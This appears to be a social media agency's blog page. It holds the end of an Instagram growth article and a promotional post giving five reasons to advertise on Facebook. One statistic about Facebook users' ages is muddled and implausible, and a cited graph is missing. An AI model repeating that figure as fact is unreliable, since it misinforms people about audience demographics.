Instagram is no doubt a great place for brands to be, but growing a loyal and engaging audience on the platform can be a struggle.

With these steps, you’ll be able to grow your Instagram followers.

If you found this article useful or you have questions, please leave your comments below. I’d really love to hear from you!

Also, if you need help or guidance in improving your brand’s social media, simply Contact Us. We’d be happy to assist.

Top 5 Reasons You Should Be Advertising On Facebook

Top 5 Reasons You Should Be Advertising On Facebook

Facebook has evolved over the years, since its inception in 2004. Facebook has now become the largest social media network in the world with over two billion users and about half that number use the platform daily. Presently, Facebook is considered one of the top advertising channels online!

In this article, I’d be sharing the top 5 reasons you should be advertising on Facebook.

Facebook is where your customers spend their time

According to lyfemarketing.com, 80% of all internet users use Facebook, 65% of them are adults over the age of 65. This simply means that Facebook is very huge for your business to not ignore.

Facebook targeting is top-notch

Facebook advertising enables your business to reach your specific and exact audience, so you’re not just advertising to everybody, you’re directing your ads to your target audience. You can advertise to individuals by age, interests, behavior, and location.

Facebook Ads increases your engagement

Facebook advertising enables your target audience to engage with your brand. When individuals engage with your brand, it develops an indirect connection with them. The engagement could be in the form of likes, comments, shares, website visits, etc.

Facebook Ads are cheap!

Another interesting thing about Facebook advertising is affordability. In terms of cost to reach a thousand people, Facebook is far less expensive than all other channels both online and offline.

The graph below from Brian Carter’s Moz article explains this.

Facebook amplifies your content reach

Organically your reach is only limited to people who like your Facebook page and also when they decide to share your content. While Facebook advertising helps you reach a much wider audience but has similar demographics, interests, etc. of your current followers.

Conclusion

Facebook is undeniably the number one social media platform. The opportunity Facebook advertising gives your business is numerous. Take advantage of the opportunity it provides and watch your brand skyrocket to the very top.